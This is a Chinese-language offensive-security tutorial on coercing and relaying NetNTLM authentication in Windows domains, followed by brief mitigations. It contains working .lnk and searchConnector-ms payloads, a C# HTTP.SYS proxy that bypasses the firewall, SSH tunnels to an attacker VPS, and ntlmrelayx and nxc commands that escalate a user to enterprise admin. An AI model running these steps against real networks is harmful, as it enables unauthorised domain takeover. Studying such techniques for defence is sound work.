NetNTLM is still a thing
在 2024 年,NetNTLM 泄露仍然是一个问题!在这篇文章中,我们将介绍以下几个方面:
-
通过 NetNTLM 和文件投放强制用户认证 -
HTTP.SYS 的神秘之处 -
无管理员权限的中继 -
在 Windows 防火墙激活的情况下进行中继 -
SSH 端口转发
详细信息
通过 NetNTLM 强制用户认证
SO-CON 2024 幻灯片中的一个细节引起了我的注意。
PDF 文件可以在这里找到:Elad Shamir - NTLM 这个不会消亡的遗留协议 / Elad Shamir - NTLM - SO-CON 2024.pdf
那么,这意味着什么?如果攻击者能够投放一个"隐藏的认证强制文件"(这是一个很好的描述方式,例如.lnk
或.scf
文件)到用户桌面,它将触发认证。即使没有用户交互,就像网络共享通常的情况一样?- 很不错
这可能是横向移动的一个很好的方式,但当然需要本地管理员权限,或者一个真正存在漏洞的客户端(是的,我知道,这种情况太常见了...)。
当我们讨论可能性时,我在工作中的一个伙伴(@qtc_de)给了我一个很好的提示。与其在每个用户的桌面上投放文件,我们可以只在UsersPublicPublic Desktop
中投放一个文件,它会立即同步到所有桌面。
当然已经有一些很棒的相关文章:
-
https://0xdf.gitlab.io/2019/03/09/htb-ethereal.html#visual-studio-2017lnk
-
https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#creds-for-amanda
对于强制认证部分,我们将生成一个过度复杂的lnk
文件,其图标指向 WebDAV 资源。例如,NetExec 有一个slinky 模块可以实现这一点,只需要做一些小的调整。
其中相关的部分:
link = pylnk3.create(self.lnk_path)
link.icon = f"\\{self.server}\icons\icon.ico"
link.save()
我们需要一个类似这样的图标路径:
\elastic-elastic-dc01appsicon.ico
将lnk
文件放到Public Desktop
后,我们可以在 445 端口(SMB)上触发认证,这些认证可以被收集或中继。然而,SMB 中继现在已经不那么有用了,因为大多数环境都强制执行了 SMB 签名。当然也有一些例外,ESC8 仍然表现出色!
PS:lnk 文件也可以是隐藏的
在https://www.thehacker.recipes/a-d/movement/ntlm/relay有一些非常棒的图表:
那么我们如何提高中继部分的影响力呢?
WebClient
如果客户端上启动了 WebClient,我们可以通过 HTTP(在这种情况下是 WebDAV)触发对任何端口和路径的强制认证!如果你需要复习这个主题的相关知识,可以看看这里。
WebClient 可能未启动这一风险让人不安,所以我们通过放置文件来自行启动它。这次我们需要一个.searchConnector-ms
文件。是的,这是一个奇怪的文件类型...
为了节省你的时间,这里提供了可以复制粘贴的内容。
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
放置此文件将在客户端上启动 WebClient 服务。注意:WebClient 主要在 Windows 10 和 11 上可用,Windows Server 需要安装额外的角色才能使用它
现在我们通过添加@10247
来调整我们的.lnk
文件以指向特定端口 (10247)。
\[email protected]
现在,如果我们在没有防火墙的 Linux 系统上有代码执行权限,我们可以直接使用这个方法。但是我们想更进一步,在 Windows 防火墙开启且没有管理员权限的情况下利用这个漏洞。
突破防火墙
在 Windows 中,除了经典的套接字监听器外,还有另一种创建 Web 服务器的方式。Windows 包含了一个驱动程序,它为我们完成了繁重的工作,使得创建简单的 Web 应用程序变得容易。
由于我们都时间有限,这里是简短版本。
这个功能的 .Net 命名空间是 System.Net.HttpListener
,有一个内核驱动程序为我们处理相关工作。
让驱动程序为我们处理一些工作固然很好,但更大的好处是:
-
我们可以在没有管理员权限的情况下运行 Web 服务器 -
我们可以在 Windows 防火墙激活的情况下运行 Web 服务器
等等,什么?-没错,在 Windows 防火墙的默认配置中,有一些路径是被允许的,因为 HTTP.SYS 驱动程序是以NT-SYSTEM
身份运行的,而且它是一个受信任的应用程序!
以下博客对此进行了详细说明:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
不幸的是,这个代码项目已经消失了 :'(
-
但是等等,我们不是黑客吗?所以我们使用时光机!
https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager
幸运的是,发布版本也被存档了。
这使我们可以使用这个很棒的工具,而不用自己编写所有那些烦人的代码。
HTTP.SYS 访问控制列表
让我们看看 Windows 11 系统:
如果我们检查 URI 的所有权限,我们会发现一些有趣的内容,比如
所以每个认证用户都可以在 http://<HOST>:10247/apps
下注册一个监听器?很好,让我们试试。
而且作为额外的好处,这也绕过了 Windows 防火墙的默认配置!- 很酷
其他有趣的 URI 包括:
-
http://*:5357/ -
http://*:10246/MDEServer/ -
http://*:10247/apps/ -
http://*:80/Temporary_Listen_Addresses/ -
http://*:5358/
注意:并非所有这些 URI 都被防火墙允许通过!
代理
所以我们可以在没有管理员权限的情况下运行监听器,并且可以穿透活动的 Windows 防火墙。那么接下来呢?我们可以代理这些请求并对它们做其他处理。
在 LinkedIn 上有一个有用的代码片段(是的,我知道...):
https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/
这个代码片段需要一些调整才能满足我们的需求。我们可能会想出一些快速但不太完美的解决方案,比如这样
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.Remoting.Messaging;
using System.Text;
using System.Threading.Tasks;
namespace Proxy
{
internal class Program
{
static void Main(string[] args)
{
// Create a new HttpListener to listen for requests on the specified UR
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");
//listener.Prefixes.Add("http://+:5357/blub/");
//listener.Prefixes.Add("http://+:5358/blubber/123/");
listener.Prefixes.Add("http://+:10246/MDEServer/");
listener.Prefixes.Add("http://+:10247/apps/");
listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
listener.IgnoreWriteExceptions = true;
listener.Start();
while (true)
{
try
{
// Wait for a request to be made to the server
HttpListenerContext context = listener.GetContext();
// Get the request and response objects
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
// Modify the request as needed (e.g. to add headers, change the URL, etc.)
string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";
// Forward the request to the destination server
HttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);
destinationRequest.SendChunked = false;
destinationRequest.Method = request.HttpMethod;
// Copy the request headers from the original request to the new request
Console.WriteLine("Request");
Console.WriteLine(request.Url.ToString());
Console.WriteLine(request.HttpMethod.ToString());
Console.WriteLine(request.Headers.ToString());
foreach (string key in request.Headers.AllKeys)
{
try
{
string[] values = request.Headers.GetValues(key);
switch (key)
{
case "Connection":
if (values[0] == "Keep-Alive")
{
destinationRequest.KeepAlive = true;
} else
{
destinationRequest.Connection = values[0];
}
break;
case "Content-Length":
destinationRequest.ContentLength = long.Parse(values[0]);
break;
case "Host":
destinationRequest.Host = values[0];
break;
case "User-Agent":
destinationRequest.UserAgent = values[0];
break;
default:
destinationRequest.Headers.Add(key, values[0].ToString());
break;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
Console.WriteLine("Forwarded item");
Console.WriteLine(destinationRequest.RequestUri.ToString());
Console.WriteLine(destinationRequest.Host);
Console.WriteLine(destinationRequest.Headers.ToString());
HttpWebResponse destinationResponse;
// Get the response from the destination server
try
{
destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();
}
catch (WebException wex)
{
destinationResponse = wex.Response as HttpWebResponse;
}
Console.WriteLine("Response");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.StatusCode = (int)destinationResponse.StatusCode;
// Copy the response headers from the destination response to the client response
foreach (string key in destinationResponse.Headers.AllKeys)
{
//response.Headers[header] = destinationResponse.Headers[header];
string[] values = destinationResponse.Headers.GetValues(key);
if (key == "Content-Length")
{
;
}
else
{
response.AddHeader(key, values[0]);
}
}
Console.WriteLine("Response - Override");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.SendChunked = false;
// Get the response stream from the destination response and copy it to the client response
using (Stream destinationStream = destinationResponse.GetResponseStream())
{
using (Stream outputStream = response.OutputStream)
{
destinationStream.CopyTo(outputStream);
outputStream.Flush();
// You must close the output stream.
outputStream.Close();
}
}
}
catch (Exception ex)
{
Console.Write(ex.ToString());
Console.WriteLine(ex.StackTrace.ToString());
}
}
listener.Stop();
}
}
}
这段代码在做什么?大量的调试输出、一些不良实践,以及一些次要功能,如注册 HTTP.SYS
监听器、将请求转发到另一个端口、获取响应,然后将响应传递给初始调用者。
那么我们可以用它做什么呢?我们可以将它与一个老朋友结合使用!
注意:SSH 只是一个简单的选择。还有更好的可能性,比如使用 ironpython
、python.net
或直接在 C# 中进行中继。
好用的 SSH
我们可以在同一台机器上进行一些简单的端口转发,将流量隧道传输到我们完全控制的系统,然后再发送回来。
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]
为什么这很有用?由于 Windows 也提供原生 SSH 功能,我们可以使用标准的 Windows SSH 客户端进行端口转发到互联网上的服务器 (-L 10.3.10.12:8080:10.3.10.11:80
),在那里运行 ntlmrelayx,并通过 SOCKS(-R 127.0.0.1:9050) 将流量隧道传回。注意:如果允许 SSH 出站连接,目标服务器不需要在同一网络中,这意味着它可以是 VPS 或其他任何服务器
收集 NetNTLM 哈希值
通过代理请求和使用 SSH 端口转发,我们可以在 VPS 上运行 responder 来获取一些哈希值。
这当然很好,但如果我们只想要哈希值,我们可以像 MDSec 的 Farmer在这里做的那样直接在 C# 代码中完成。
但更大/更好的部分通常是中继!
进行中继
让我们稍微了解一下中继的步骤。
在 VPS 上启动 ntlmrelayx
使用 proxychains
和 -smb2support
。在这个例子中,我们将对 LDAP 服务进行中继,因为通常没有启用 Channel binding
和 LDAP Signing
。
对 LDAP 进行中继很强大,但不是唯一的选择。例如,使用 ntlmrelayx 对文件共享或某些 HTTP 端点进行交互式 shell(-i) 也很好
proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80
在客户端创建 SSH 隧道
使用两个不同的端口转发
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]
在客户端启动 ProxyApp
该应用程序在 HTTP.SYS 注册并将请求本地转发到 8080 端口
在受害者系统上投放.searchConnectors-ms 文件
以确保 WebClient 服务正在运行
在受害者系统上投放.lnk 文件
实际强制认证到我们的客户端
nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\users\public\desktop\SHARE62' SERVER="elastic-elastic-dc01@10247apps"
注意:这些略显奇怪的参数只是为了生成 C:userspublicdesktopShare63.lnk
和 \elastic-elastic-dc01@10247apps
。我可能会在稍后为 nxc 提交一个 PR 来稍微清理一下这个问题。
然后瞧,这实际上使我们成为了一个企业管理员
。
攻击流程如下:
概念验证
额外内容
我知道这是一篇很长的文章,但你已经看到这里了。既然你一直往下滚动到这里,这里有一个小彩蛋。你还可以通过电子邮件中嵌入的 <img>
标签进行强制认证。当满足以下条件时,Outlook 会很乐意对网络路径进行认证:
-
目标系统在受信任区域内,通常意味着名称中没有"." -
邮件发送者是受信任的发送者
来自同一域的所有电子邮件通常都是受信任的发送者,所以如果你有一个实习生账户,你就是域管理员的受信任发送者
缓解措施
-
加强防火墙配置 -
加强 LDAP 安全(通道绑定/签名) -
确保强制执行 SMB 签名 -
移除所有 ESC8 漏洞 -
永远不要使用高权限账户来收发电子邮件!
原文始发于微信公众号(securitainment):横向移动 - NetNTLM 泄露仍是一个需要关注的问题
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论